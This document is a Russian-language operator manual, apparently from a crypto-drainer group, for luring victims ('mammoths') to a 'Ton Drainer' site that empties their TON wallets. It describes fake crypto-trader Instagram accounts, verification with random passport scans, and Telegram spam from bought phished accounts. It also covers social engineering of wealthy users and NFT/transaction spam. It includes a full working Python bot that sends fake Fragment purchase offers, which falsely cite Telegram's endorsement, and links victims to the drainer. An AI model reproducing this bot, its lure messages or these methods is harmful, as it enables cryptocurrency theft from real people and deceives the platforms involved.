Skip to content

Искусство добычи 🦣 Трафика

Это руководство о самом главном — о добыче трафика. Именно трафик, поток людей, приводит Вас к получению прибыли.

В рамках этого мануала Вы близко познакомитесь с наиболее эффективными способами получения трафика, такими как: Telegram Spam, Instagram, Fragment NFT Work, Социальная инженерия по Telegram.

Содержание страницы

Трафик F.A.Q.

ℹ️ Что такое трафик?

Трафик в данном контексте означает процесс привлечения и перенаправления пользователей из различных источников, таких как Telegram, Instagram и другие платформы, на целевой ресурс или сайт c Ton Drainer.

Когда Вы создали и настроили ресурс, Вам необходимо запустить на него трафик. Трафик является решающим параметром, от которого зависит Ваш профит.

Для достижения успеха в сфере трафика необходимо обладать следующими компетенциями:

  1. Аналитическое мышление, как способность анализировать данные и понимать, откуда приходит трафик, какие источники наиболее эффективны, и как улучшить показатели.
  2. Создание качественного контента, умение создавать привлекательный контент (крео).
  3. Понимание целевой аудитории — знание того, кто является целевой аудиторией, какие у нее интересы и потребности.
  4. Методы привлечения трафика: знание различных методов и стратегий привлечения трафика, включая платные и бесплатные каналы.
  5. Тренды и новинки: постоянное обновление знаний о новых трендах и новинках в мире криптовалюты TON.

Каким бывает трафик?

Трафик можно классифицировать по следующим признакам:

  1. По доступности
  • УБТ (Условно-бесплатный трафик). Это трафик, не требующий совсем или требующий самых минимальных вложений со стороны исполнителя. Обычно предполагает использование социальных сетей и популярности.
  • Платный трафик. Это трафик, в который нужно вложить средства. Обычно спам или закупка официальной рекламы.
  1. По скорости отстука
  • Мгновенный трафик. Трафик, который вовлекает пользователей уже сейчас, сразу в момент его исполнения.
  • Разогревающийся трафик. Вид трафика, которому требуется время, чтобы начать завлекать пользователей. Может относиться к УБТ и некоторым способам спама.

Для Вашего удобства и навигации по миру трафика, мы создали таблицу:

Быстрый профитНужен разогрев
Без вложений/минимальныеFragment NFT WorkInstagram, Социальная инженерия по Telegram
С вложениемTelegram Spam, Telegram AdsNFT Spam, Transaction Spam

Instagram

ℹ️ Про Instagram

Instagram — это один из самых простых и доступных способов получения трафика. Основная задача заключается в создании и продвижении Reels с Ton Drainer. Это направление особенно подходит для тех, кто готов вкладывать время в создание качественного контента.

Что необходимо?

Для успешной работы с Instagram Вам понадобятся:

  1. VPN. Самый стабильный по тестам — Adguard, другие тоже могут подойти.
  2. Качественный креатив. Умение создавать привлекательные и оригинальные Reels.
  3. Усидчивость и правильная система стимулов. Настройтесь на то, что профит будет не сразу.

Подготовка устройства

Android:

  1. Выполнить сброс устройства.
  2. Изменить язык устройства на английский (EN).
  3. Рекомендуется отключить все Google-сервисы для повышения конфиденциальности.

iPhone:

  1. Выполнить сброс сетевых настроек.
  2. Изменить язык устройства на английский (EN).

Выбор между Android и iPhone остается за Вами: у кого-то лучше получается на Android, у кого-то на iPhone. Ориентируйтесь на свои возможности.

Регистрация или покупка аккаунта

Регистрация аккаунта:

  1. Используйте почту для регистрации, например, бесплатный сервис ProtonMail.
  2. Включите VPN и зарегистрируйте аккаунт.

Покупка аккаунта:

  1. Если Вы решили покупать аккаунт, выбирайте учетные записи, зарегистрированные не позднее 2022 года (чем старше, тем лучше).
  2. Выберите гео, с которого будете работать (например, Франция). После этого используйте один и тот же VPN и подключение для этого гео.

Оформление аккаунта

  1. Установите аватарку. Желательно использовать качественное изображение, которое вызывает доверие.
  2. Заполните био. Пример:
Best #crypto #trader
In USA
Website

(добавьте ссылку в кнопку "Сайт")

  1. Перейдите на профессиональный аккаунт. Все настройки доступны внутри Instagram.
  2. Пролейте несколько историй (например, с видом на Бурдж-Халифа, пачками денег и т.д.) и закрепите их в актуальных. Создайте образ успешного крипто-трейдера.

Пролив контента

1. Регулярное взаимодействие с контентом

Каждый день уделяйте не менее 30 минут на «прогрев»:

  • Разделяйте это время на три коротких сессии по 10 минут: смотрите Reels, ставьте лайки, подписывайтесь на аккаунты.
  • Избегайте чрезмерной активности: не лайкайте абсолютно каждый ролик, не комментируйте всё подряд, а действуйте как обычный пользователь.

2. Создание и публикация уникальных крео

Одно из важнейших правил — ежедневно выкладывать уникальный контент (Reels). Рекомендуемый график пролива:

  • С 10:00 до 14:00 (МСК) и с 18:00 до 22:00 (МСК).
  • Идеальный вариант — выбрать конкретное время (например, каждый день в 12:00) и стабильно публиковать там новый ролик.
  • Сразу после публикации обязательно делайте репост этого Reels себе в историю (Stories), это даст дополнительный буст просмотрам.

ПРИМЕРЫ КРЕО (Reels) и ПРИМЕР ОФОРМЛЕНИЯ АККАУНТА СМОТРИТЕ В ПРОФИЛЕ INSTAGRAM —> adelcrypto02

Instagram высоко ценит стабильность и постепенное наращивание активности. Введите себя в роль крипто-блогера, который регулярно презентует собственный проект.

3. Выбор VPN и геолокация

Instagram негативно относится к прокси, однако вполне лоялен к VPN. Оптимальный выбор — AdGuard VPN.

  • При входе в аккаунт или во время регистрации используйте одно и то же гео, выбранное изначально (например, Францию).
  • Во время прогрева и пролива придерживайтесь одного и того же VPN и одной геолокации всегда.

💡 Если ничего не получается

Если Вы замечаете, что охват остаётся на нуле, не тратьте время на «мертвый» профиль. Приобретите или зарегистрируйте новый аккаунт и продолжайте экспериментировать.

Дополнительные рекомендации

  1. Создайте несколько дополнительных аккаунтов (2–3), привязанных к другому устройству, и делайте репост новых Reels в их Stories. Такая взаимная активность повышает шансы на рост просмотров.
  2. Небольшие просмотры (10, 20, 50, 100) указывают на то, что Вы на правильном пути — просто продолжайте ежедневно, без пропусков, лить новые Reels.
  3. Не падайте духом, если охваты низкие. Иногда требуется 1–2 недели (а порой и дольше), чтобы заметно вырасти и попасть в рекомендации.

Последовательность и настойчивость — ключ к успеху. Даже при малом количестве просмотров вначале, стабильные действия и качественный креатив приводят к ожидаемому приросту аудитории.

Instagram FAQ

ℹ️ FAQ по Instagram

Ниже приведены ответы на наиболее часто задаваемые вопросы. Просьба внимательно изучить представленные рекомендации для достижения оптимального результата.

  1. Можно ли работать с использованием эмулятора, используя до 5 аккаунтов на одном устройстве?

    Ответ: Нет. Разрешается использование одного аккаунта на одном устройстве — ни больше, ни меньше.

  2. Почему, несмотря на публикацию роликов с изображениями денег, хаслом или роскошными автомобилями, после пролива TON Drainer отсутствует конверсия?

    Ответ: Рекомендуется публиковать непосредственно TON Drainer. Такой подход позволяет сузить целевую аудиторию, привлекая исключительно заинтересованных пользователей.

  3. Почему в ленте появляются Reels на русском языке?

    Ответ: Перед регистрацией аккаунта измените регион и язык устройства на английский. Если время от времени встречаются ролики на русском, это не является критичным.

  4. Что предпочтительнее: направлять трафик на домен или на бота/Telegram-канал?

    Ответ: Рекомендуется использовать бота или Telegram-канал. При направлении трафика на домен существует риск его блокировки, тогда как применение бота позволяет сохранить домен незамеченным, что положительно сказывается на конверсии.

    Процесс создания бота описан в руководстве по ботам.

  5. Я прогрел аккаунт в течение 10 минут, однако просмотры отсутствуют. Что следует предпринять?

    Ответ: Прогрев аккаунта необходимо проводить не менее 24 часов, а оптимально — в течение 2–3 дней перед первым проливом контента.

  6. Каким образом следует проводить прогрев аккаунта?

    Ответ: После регистрации или приобретения аккаунта перейдите в раздел Reels, просматривайте контент, уделяя особое внимание криптовалютной тематике, просматривайте ролики полностью, периодически ставьте лайки и подписывайтесь. Действуйте естественно, имитируя поведение обычного пользователя Instagram.

  7. Какой VPN рекомендуется использовать для работы с Instagram?

    Ответ: Настоятельно рекомендуем использовать AdGuard VPN. По результатам многочисленных тестов он зарекомендовал себя как наиболее стабильный и эффективный инструмент для работы с Instagram.

  8. Что делать, если изменился IP-адрес? Может ли это привести к блокировке аккаунта?

    Ответ: Изменение IP-адреса не является основанием для блокировки, при условии сохранения неизменного региона и использования одного и того же VPN.

  9. Что предпринять, если в ленте отсутствуют крипто Reels?

    Ответ: Откройте поиск и введите запрос crypto. Просмотр контента в течение нескольких минут позволит алгоритму подобрать соответствующие ролики.

  10. Можно ли использовать прокси для сохранения неизменности геолокации и IP-адреса?

    Ответ: Применение прокси строго не рекомендуется, так как Instagram категорически относится к данной практике. Используйте исключительно AdGuard VPN.

  11. Почему публикация 10 креативов не приводит к ожидаемому результату?

    Ответ: Проблема может заключаться в низком качестве или отсутствии уникальности контента. Создавайте оригинальные и качественные Reels, ориентированные на целевую аудиторию.

  12. Почему некоторые аккаунты демонстрируют высокие показатели просмотров, публикуя множество одинаковых роликов?

    Ответ: Это может быть связано с устаревшими алгоритмами или использованием накруток. В современных условиях такой подход не гарантирует стабильного результата.

  13. Можно ли использовать накрутку подписчиков, лайков или просмотров?

    Ответ: Категорически не рекомендуется прибегать к накруткам, поскольку это может привести к блокировке аккаунта.

  14. Какой лендинг предпочтительнее использовать для Instagram?

    Ответ: Рекомендуется использовать воронки на основе рулеток/аирдропов, либо, оптимально, создать собственный кастомный лендинг. Чем уникальнее лендинг, тем выше конверсия.

  15. Какой домен предпочтительнее: общий или приватный?

    Ответ: При использовании бота разницы практически не наблюдается, поскольку домен остается скрытым за приложением, что обеспечивает его стабильную работу.

    Процесс создания бота описан в руководстве по ботам.

  16. Стоит ли использовать функцию «продвигать рилс»?

    Ответ: Данная функция не рекомендуется к применению. Многочисленные тесты показали её неэффективность и высокий риск растраты средств.

  17. Что делать, если возникают вопросы относительно методики пролива и прогрева?

    Ответ: Весь процесс подробно описан в данном мануале. Рекомендуется внимательно изучить представленный материал для достижения оптимальных результатов.

  18. Я пролил контент, прошло 10 минут, а просмотры отсутствуют. Как быть?

    Ответ: Просмотры начинают поступать в течение 24 часов. Если в первые 10–15 минут наблюдается минимальное количество просмотров, возможно, аккаунт недостаточно прогрет или его качество оставляет желать лучшего. В таком случае рекомендуется сменить аккаунт.

  19. Что следует указывать в описании при публикации Reels и как правильно осуществлять пролив?

    Ответ: Рекомендуется использовать следующий шаблон:

    Comment "ваша монета, указанная в креативе" 💎  
    Link in bio 🔐  
    #crypto #ton #web3 #wallet

    Важно:

    • Используйте не более четырех тематически связанных хештегов.
    • Перед публикацией активируйте опцию Проливать в высоком качестве.
    • В блоке геолокации можно указать любое местоположение.
    • Не отключайте комментарии: лайкайте положительные отзывы и удаляйте негативные.
  20. Что следует предпринять, если запрошена видео верификация?

    Ответ: Выполните следующие действия:

    1. Перейдите на Sketchfab.
    2. Выберите любое изображение головы.
    3. С помощью мыши выполните поворот изображения в указанном направлении.
    4. Ожидайте разблокировки аккаунта.
  21. Что делать, если для верификации требуется загрузка паспорта?

    Ответ: Найдите случайный скан паспорта в интернете и загрузите его. Это позволит успешно пройти процедуру верификации.

Telegram Spam

ℹ️ Что такое спам-трафик?

Спам-трафик подразумевает массовую рассылку привлекательных сообщений в релевантные чаты, имеющие целевую аудиторию. Цель — перенаправить пользователей на Ваш Ton Drainer-ресурс.

Спам в Telegram — это динамичный способ взрывного увеличения трафика. Правильный выбор чатов, аккаунтов и грамотное оформление сообщения могут стать катализатором Вашей прибыли в Ton Drainer.

Преимущества

  1. Минимальные вложения — для старта не нужно вкладывать крупные суммы, особенно по сравнению с официальной рекламой.
  2. Быстрый результат — как только сообщение размещено в чате, пользователи моментально видят оффер.
  3. Стабильность — при грамотно подобранных чатах и корректном сообщении можно рассчитывать на регулярный приток трафика.

Поиск чатов и папок

ℹ️ Ключ к успеху

Совершенствуйте поиск чатов и папок — на 95% от этого зависят Ваши результаты. Чем более уникальные сообщества Вы найдёте, тем выше Ваш шанс на стабильный профит. Используйте различные ключевые слова, собирайте «папки», экспериментируйте с форматами сообщений и не бойтесь что-то менять при первых неудачах.

Чаты

Основная задача — найти чаты, где обитают потенциальные заинтересованные пользователи (трейдеры, инвесторы или иные криптоэнтузиасты, готовые перейти по Вашей ссылке).

💡 Как искать чаты?

  1. Используйте SearchBot, BotParser, Телеметр или TgStat.
  2. Введите ключевые слова, связанные с TON (или смежными темами).Image
  3. Анализируйте чаты вручную:
    • Если сообщение быстро удаляется или не вызывает реакции, переходим к следующему чату.
    • Эффективные чаты сохраняйте в отдельную «базу для спама».

Важный нюанс: избегайте слишком популярных и «заспамленных» слов (например, Ton, Not, The Open Network), ведь там конкуренция так велика, что Ваше сообщение растворится в потоке. Пробуйте использовать нестандартные теги и ключевые слова, чтобы отыскать свежую аудиторию.

Папки

Папка — это сформированный пользователем набор чатов (иногда до 100 штук), в который можно вступить одним кликом. Благодаря этому Вы экономите время и быстро получаете доступ к обширной аудитории.

ℹ️ Зачем нужны папки?

На одном аккаунте Telegram есть лимиты: Вы сможете зайти в 20–30 чатов, а папка позволяет вступать сразу во множество чатов, многократно увеличивая Ваш охват.

Поиск папок осуществляется через те же чаты, которые Вы уже нашли. Ищите ссылки формата: https://t.me/addlist/...

Image

Именно такие ссылки позволяют присоединяться к целой подборке чатов («папке») одновременно.

Оформление спам-сообщения

Ваша цель — написать такое сообщение, которое:

  • Визуально цепляет: текст должен бросаться в глаза и побуждать к действию.
  • Остаётся в чате как можно дольше: чем позднее его удалят, тем больше людей его увидит.

💡 Советы по оформлению

  • Избегайте переизбытка эмодзи.
  • Учитывайте наличие антиспам-ботов в чатах: при быстрой блокировке тестируйте другую длину текста, меняйте стиль, убирайте кнопки.
  • За вдохновением обращайтесь к уже существующим спам-сообщениям в чатах или воспользуйтесь нейросетью (например, Copilot), которая может помочь с генерацией оригинальных крео.

Картинки тоже помогают привлечь внимание. Найти подходящие изображения можно в нашем боте, нажав в главном меню "Информация -> Для спама".

Способы рассылки

🚧 Используй второй аккаунт

Не спамьте на основном аккаунте Telegram. Рано или поздно это наложит санкции на аккаунт или даже приведет к его удалению.

Способ получить готовый аккаунт Telegram описан в 🦣Трафик —> Telegram Spam.

1. История

  1. Авторег/саморег Telegram. Купите или зарегистрируйте аккаунт.
  2. Создайте канал с аватаркой и говорящим названием, отражающим Вашу крипто-тематику.
  3. Добавьте историю (Stories) в канал. Вам необходимо:
    • Придумать «легенду» и оформить описание.
    • Добавить 1 буст для публикации истории от имени канала.
  4. Перешлите историю в тот же канал как пост — теперь у Вас есть контент для рассылки.
  5. Спамьте постом в разных чатах и папках, формируя поток заинтересованных мамонтов.
Пример истории

2. Короткий текст

  • Учитывая, что далеко не везде разрешены медиа-вложения, короткие сообщения позволяют проникнуть в большее количество чатов.
  • Минус: визуально такое сообщение менее ярко, но зато вероятность банального «непропуска» выше.
Пример текста

3. Обычное сообщение

  • Формат, сочетающий текст и картинку, если чат разрешает медиа.
  • Старайтесь экспериментировать и смотреть, как реагируют антиспам-боты и модераторы.
Пример обычного сообщения

Где брать аккаунты для спама?

  1. Покупайте аккаунты на Lolz Market (тык):
    • Фильтруйте по наличию Telegram Premium, отсутствию «спамблока» и происхождению (фишинг).
    • Фишинг-аккаунты могут быть восстановлены их прежними владельцами, поэтому спамьте быстро, пока есть доступ.
  2. Используйте VPN под выбранную геолокацию, соответствующую аккаунту.
  3. Прокси — нежелательный вариант:
    • Дешёвые прокси ведут к скорому спамблоку.
    • Дорогие мобильные прокси нередко неоправданно затратны.

Fragment NFT Work

ℹ️ Что за Fragment NFT Work?

Fragment NFT Work — это разновидность точечного трафика, при котором используется сайт Fragment для поиска «крупного мамонта». Под предлогом обмена или покупки цифровых активов пользователь знакомится с Вашим Ton Drainer, что потенциально приносит профит.

Вложения здесь сводятся к минимуму, но Вам потребуются навыки социальной инженерии и креативный подход.

На платформе Fragment можно покупать и продавать NFT-юзернеймы и анонимные номера для Telegram, используя криптовалюту Toncoin (TON). Эти данные помогают обнаружить целевого пользователя (его Telegram-аккаунт) и начать грамотный «завод».

Подготовка

Этот вид трафика требует подготовки. Необходимо правильно настроить домен и запустить скрипт на бота.

Установка скрипта

  1. Для создания красивых сообщений необходимо создать и оформить бота, как это описано в статье Руководство по ботам Telegram 🤖.

  2. Включите Inline режим в настройках вашего бота. Перейдите в @BotFather, отправьте команду /mybots —> выберите своего бота —> Bot Settings —> Inline Mode —> Turn inline mode ON.

  3. Установите Python — необходим для работы скрипта.

  4. Установите необходимые библиотеки для работы скрипта — запустите командную строку Windows и выполните:

pip install pytelegrambotapi emoji-country-flag requests
  1. Создайте .py файл (можно создать текстовый документ и переименовать окончание .txt в .py). Вставьте в файл следующий код:
Скрипт
import telebot
from telebot import types
import requests
import re
import base64
import flag

# ============ Bot Settings =============

# Telegram ID of Admin(s)
# ТГ АЙДИ через запятую | REWRITE
ADMINS = [123123123, 123123123, 12312333]

# Your domain | REWRITE
domain = "ДОМЕН БЕЗ HTTPS://"

# Bot initialization | REWRITE
# NOTE: Replace the token below with your actual bot token
bot_token = "ТОКЕН БОТА"
bot = telebot.TeleBot(
    bot_token, 
    parse_mode="HTML", 
    disable_web_page_preview=True
)

# ============ Helper Functions =============

def decode_payload(payload: str) -> str:
    """
    Decode base64-url-safe payload (the same logic Aiogram uses internally).
    """
    # Fix padding issues if necessary
    payload += '=' * (-len(payload) % 4)
    decoded_bytes = base64.urlsafe_b64decode(payload)
    return decoded_bytes.decode('utf-8')

def create_deep_link(payload: str) -> str:
    """
    Create a deep link that looks like: https://t.me/<bot_username>?start=<base64-encoded-payload>
    """
    encoded_bytes = base64.urlsafe_b64encode(payload.encode('utf-8'))
    encoded_str = encoded_bytes.decode('utf-8').rstrip('=')
    return f"https://t.me/{bot.get_me().username}?start={encoded_str}"

def format_phone_number(phone_number: str) -> str:
    """
    Formats a phone number like +88812341234 to +888 1234 1234
    """
    if phone_number.startswith('+') and len(phone_number) == 12:
        formatted_number = re.sub(r'(\+?\d{3})(\d{4})(\d{4})', r'\1 \2 \3', phone_number)
        return formatted_number
    else:
        return phone_number

def ton_usdt_rate() -> float:
    """
    Retrieves the TON to USDT rate from CryptoCompare.
    Returns 0.0 if an error occurs.
    """
    url = "https://min-api.cryptocompare.com/data/price?fsym=TON&tsyms=USDT"
    try:
        resp = requests.get(url, timeout=5)
        if resp.status_code == 200:
            data = resp.json()
            return data.get('USDT', 0.0)
        else:
            return 0.0
    except Exception as e:
        print(f"Error fetching TON rate: {e}")
        return 0.0

def notify_admins_about_new_user(
    user_id: int,
    fullname: str,
    is_premium: bool,
    lang: str,
    username: str
):
    """
    Notifies all admins about a new user entering the bot.
    """
    flags = flag.flag(lang)
    text = (
        "<b>⚠️ [ОТСТУК] Новый пользователь в боте!</b>\n\n"
        f"🆔USER_ID: {user_id}\n"
        f"Username: @{username}\n"
        f"🪪 Полное имя: {fullname}\n\n"
        f"⭐️ Премиум: {is_premium}\n"
        f"Язык: {flags} {lang}\n"
    )
    for admin_id in ADMINS:
        try:
            bot.send_message(admin_id, text)
        except Exception:
            # Handle exceptions such as "bot blocked by user"
            pass

# ============ Handlers =============

@bot.message_handler(commands=['start'])
def send_welcome(message: types.Message):
    """
    Handler for the /start command.
    Checks if there's a deep link payload.
    If there is, decode it, parse it, and construct the relevant message/buttons.
    """
    text_parts = message.text.split(maxsplit=1)
    args = ""
    if len(text_parts) > 1:
        # Everything after "/start "
        args = text_parts[1].strip()

    user = message.from_user
    rate = ton_usdt_rate()

    if args:
        try:
            decoded = decode_payload(args)  # e.g. "username-price"
            username, price = decoded.split("-")
        except Exception as e:
            print(f"Error decoding payload: {e}")
            return

        if username.startswith("+888"):
            username_link = username.replace("+", "")
            # Create a button that points to your domain with relevant GET-params
            web_app_url = f"https://{domain}/?username={username_link}&price={price}"
            markup = types.InlineKeyboardMarkup()
            markup.add(
                types.InlineKeyboardButton("Go to the trade", web_app=types.WebAppInfo(url=web_app_url))
            )

            # Construct text
            text = (
                f"<b>${round(int(price)*rate, 2)} for {format_phone_number(username)}.</b> "
                f"Someone offered <b>💎{price} (~${round(int(price)*rate, 2)})</b> "
                f"to buy your anonymous number <b>{format_phone_number(username)}</b>.\n\n"
                f"If you wish to sell this anonymous number, please press the button below "
                f"and check if the offer suits you.\n\n"
                "Fragment is a verified platform for buying and selling usernames and "
                "anonymous numbers that is recommended by Telegram "
                "(<a href='https://t.me/telegram/201'>official announcement by Telegram</a>) "
                "and its founder (<a href='https://t.me/durov/198'>official announcement by Pavel Durov</a>).\n\n"
                f"This offer is likely to be serious, because the sender paid <b>💎1 (~${round(1*rate, 2)})</b> "
                "as a fee to let you know about it."
            )
        else:
            web_app_url = f"https://{domain}/?username={username}&price={price}"
            markup = types.InlineKeyboardMarkup()
            markup.add(
                types.InlineKeyboardButton("Go to the trade", web_app=types.WebAppInfo(url=web_app_url))
            )
            text = (
                f"<b>${round(int(price)*rate, 2)} for @{username}.</b> "
                f"Someone offered <b>💎{price} (~${round(int(price)*rate, 2)})</b> "
                f"to buy your username <b>@{username}</b>.\n\n"
                "If you wish to sell this username, please press the button below "
                "and check if the offer suits you.\n\n"
                "Fragment is a verified platform for buying and selling usernames and "
                "anonymous numbers that is recommended by Telegram "
                "(<a href='https://t.me/telegram/201'>official announcement by Telegram</a>) "
                "and its founder (<a href='https://t.me/durov/198'>official announcement by Pavel Durov</a>).\n\n"
                f"This offer is likely to be serious, because the sender paid <b>💎1 (~${round(1*rate, 2)})</b> "
                "as a fee to let you know about it."
            )

        # Send message to user
        bot.reply_to(message, text, reply_markup=markup)

        # Notify admins (otstuk)
        # Note: .language_code might be None, default to "en"
        user_lang = (user.language_code or "en").upper()
        is_premium = getattr(user, "is_premium", False)  # pyTelegramBotAPI might or might not have is_premium
        notify_admins_about_new_user(
            user_id=user.id,
            fullname=user.full_name,
            is_premium=is_premium,
            lang=user_lang,
            username=user.username
        )
    else:
        # If user just typed /start with no payload
        pass

@bot.inline_handler(func=lambda query: True)
def inline_echo(inline_query: types.InlineQuery):
    """
    Inline handler, only Admins can generate the special message.
    Usage example (from Admin's perspective in inline mode):
    1) Switch to inline mode with your bot
    2) Type 'username price'
    3) Bot returns a link with the special deep link
    """
    if inline_query.from_user.id not in ADMINS:
        # Only admins can use the inline function
        return

    query_text = inline_query.query.strip()
    if not query_text:
        # No text provided
        bot.answer_inline_query(
            inline_query.id, 
            results=[], 
            cache_time=1
        )
        return

    # We expect "username price"
    parts = query_text.split()
    if len(parts) != 2:
        bot.answer_inline_query(inline_query.id, results=[], cache_time=1)
        return

    username, price = parts
    rate = ton_usdt_rate()

    # Create deep link
    payload = f"{username}-{price}"
    deep_link = create_deep_link(payload)

    if username.startswith("+888"):
        text = (
            f"<b>${round(int(price)*rate, 2)} for {format_phone_number(username)}.</b> "
            f"Someone offered <b>💎{price} (~${round(int(price)*rate, 2)})</b> "
            f"to buy your anonymous number <b>{format_phone_number(username)}</b>.\n\n"
            "If you wish to sell this anonymous number, please press the button below "
            "and check if the offer suits you.\n\n"
            "Fragment is a verified platform for buying and selling usernames and "
            "anonymous numbers that is recommended by Telegram "
            "(<a href='https://t.me/telegram/201'>official announcement by Telegram</a>) "
            "and its founder (<a href='https://t.me/durov/198'>official announcement by Pavel Durov</a>).\n\n"
            f"This offer is likely to be serious, because the sender paid <b>💎1 (~${round(1*rate, 2)})</b> "
            "as a fee to let you know about it."
        )
    else:
        text = (
            f"<b>${round(int(price)*rate, 2)} for @{username}.</b> "
            f"Someone offered <b>💎{price} (~${round(int(price)*rate, 2)})</b> "
            f"to buy your username <b>@{username}</b>.\n\n"
            "If you wish to sell this username, please press the button below "
            "and check if the offer suits you.\n\n"
            "Fragment is a verified platform for buying and selling usernames and "
            "anonymous numbers that is recommended by Telegram "
            "(<a href='https://t.me/telegram/201'>official announcement by Telegram</a>) "
            "and its founder (<a href='https://t.me/durov/198'>official announcement by Pavel Durov</a>).\n\n"
            f"This offer is likely to be serious, because the sender paid <b>💎1 (~${round(1*rate, 2)})</b> "
            "as a fee to let you know about it."
        )

    # Prepare result
    description = text
    # Telebot's InlineQueryResultArticle
    # Note: you must provide a unique 'id' for each result
    result_article = types.InlineQueryResultArticle(
        id="offer_" + username + "_" + price,
        title=f"{username} 💎{price}",
        input_message_content=types.InputTextMessageContent(
            message_text=text,
            parse_mode="HTML",
            disable_web_page_preview=True
        ),
        description=description
    )

    # Add a button leading to the deep link
    markup = types.InlineKeyboardMarkup()
    markup.add(types.InlineKeyboardButton("Go to trade", url=deep_link))
    result_article.reply_markup = markup

    # Answer inline query with a single result
    bot.answer_inline_query(inline_query.id, [result_article], cache_time=1)

# ============ Launch Bot =============
if __name__ == "__main__":
    print("Bot is running...")
    bot.remove_webhook()
    bot.infinity_polling()
  1. Замените в тексте скрипта участки с пометкой REWRITE на Ваши данные и сохраните. Запустите скрипт, выполнив поочередно в командной строке:
cd ПУТЬ_К_ПАПКЕ_В_КОТОРОЙ_СКРИПТ
python имя_файла.py

💡 Обратная связь

Если у Вас возникнут какие-либо вопросы по настройке, обращайтесь в Telegram к любому саппорту — 🛡 Ресурсы команды.

Использование скрипта

Для использования скрипта нужно использовать Inline команду в Telegram:

@ЮзернеймВашегоБота название_нфт_однимсловом сумма_в_тонах

Просто заполните данные в команде и отправьте как обычное сообщение мамонту!

Пример

Особая настройка домена

  1. Установите на домен специальный ленд для работы с Fragment NFT — он называется Fragment.

Image

  1. Настройте подходяще тематике контракт, например, следующим образом — фейк-токен выкл, фейк-возврат - тон и жеттоны.

Процесс работы

Поиск жертвы

Для того, чтобы найти жертву, Вам необходимо зайти на сайт Fragment (тык):

  1. Откройте платформу Fragment и перейдите в разделы с анонимными номерами или NFT-юзернеймами.

Image

  1. Сопоставьте полученные данные и найдите способы выйти на владельцев (чаще всего через Telegram).

    • Если это Telegram Username, перейдите по Username в рамках Telegram.

    • Если это Anonymous Numbers, добавьте контакт в Telegram с указанным номером.

    В обоих случаях владелец может не найтись. Продолжайте поиски, пока не выйдите на профиль Telegram.

  2. Напишите в личные сообщения (ЛС) пользователям, чтобы заинтересовать их предложением.

Коммуникация

  1. После нахождения ЛС целевого пользователя первым шагом отправьте ему предложение о сделке (покупка/продажа NFT-юзернейма или анонимного номера).

  2. Поддерживайте диалог: отвечайте на возражения, выступайте экспертом, давайте «приманку».

  3. Не забывайте о навыках социальной инженерии: завоевание доверия — ключ к успешному переходу жертвы на Ваш лендинг.

Соц. инженерия Telegram

ℹ️ Что такое социальная инженерия?

Социальная инженерия в Telegram — это набор приёмов, позволяющих «войти в доверие» к потенциальной жертве (мамонту) и убедить её добровольно перейти на Ваш Ton Drainer-ресурс.

Часто это общение «один на один» в личных сообщениях или приватных чатах, где создаётся иллюзия дружеских отношений.

В отличие от массовых рассылок, здесь основной инструмент — диалог и психологические уловки. Вы выявляете «жирного» мамонта (того, у кого есть крупные суммы в крипте), общаетесь с ним, а затем передаёте «вот ту самую» ссылку на Ton Drainer.

Преимущества подхода:

  • Точечная работа — вместо «шотган-спама» вы общаетесь с каждым мамонтом лично.
  • Меньше конкуренции — не нужно бороться за внимание в общем потоке сообщений.
  • Высокая конверсия — если жертва уже «теплая» и «доверяет», вероятность того, что она совершит нужные действия, возрастает.
  • Отсутствие вложений.

Процесс работы

Входим в «тон-чаты» (TON-ориентированные чаты) и другие криптосообщества.

Способы поиска чатов описаны в Руководстве по Telegram Spam

После нахождения подходящего чата:

  1. Общаемся там как реальный человек: проявляем естественный интерес к теме чата, используем жаргон, задаём вопросы.

  2. Наблюдаем, кто упоминает о больших суммах или делится своими «успехами» в трейде.

  3. Понимаем, у кого много средств: пишем в личные сообщения.

  4. Проявляем дружелюбие, поддерживаем беседу.

  5. Заводим на Ton Drainer, используя предлоги: фейковая аппка, фейк-аирдроп, покупка NFT, обмен крипты и т.д.

    Главное — убедить человека, что переход абсолютно безопасен и выгоден.

"Сложный" трафик

ℹ️ Что такое сложный трафик?

Сложный трафик — это трафик, который не может использоваться большинством ввиду требований. Обычно подразумевается большая сумма стартовых вложений или наличие специального ПО.

В рамках этого руководства будут описаны несколько "сложных" видов трафика схематично.

NFT Spam

ℹ️ Что такое NFT-Spam?

NFT-Spam — это массовая рассылка NFT-токенов и рекламных сообщений, направленных на пользователей блокчейн сети. Цель таких рассылок — привлечь внимание пользователей к Вашему ресурсу с Ton Drainer.

Жертва обнаруживает в своем кошельке NFT и переходит на ресурс:

Image

  • Причина "сложности" — необходимость владения специализированным ПО: для отправки NFT по блокчейну и для сбора кошельков.

    Эти софты могут быть приобретены на некоторых бордах, таких как Lolz (тык)

Transaction Spam

ℹ️ Что такое Transaction Spam?

Transaction Spam — это процесс массового перевода минимально возможной суммы криптовалюты TON на криптокошельки, сопровождаемый примечанием в виде текста, который направлен на привлечение внимания пользователей на ресурс с Ton Drainer.

Жертва обнаруживает в своем кошельке транзакцию и переходит на ресурс:

Image

  • Причина "сложности" — необходимость владения специализированным ПО: для отправки микротранзакций по блокчейну и для сбора кошельков.

    Эти софты могут быть приобретены на некоторых бордах, таких как Lolz (тык)

Telegram Ads

ℹ️ О направлении

Telegram Ads — это закупка рекламы на ресурс с Ton Drainer в официальном источнике.

Вам необходимо обмануть модерацию, предоставив липовый функционал бота или настоящий Telegram-канал с историей постов.

💡 Совет

Сервисы Ads хорошо детектят накрученные каналы и отказывают в предоставлении рекламы.

Успех пролива адсов зависит от кликбейтности рекламного баннера, настроек ранжирования ГЕО и крео Вашего ресурса.

  • Причина "сложности" — необходимость больших вложений и владения реальным TGK.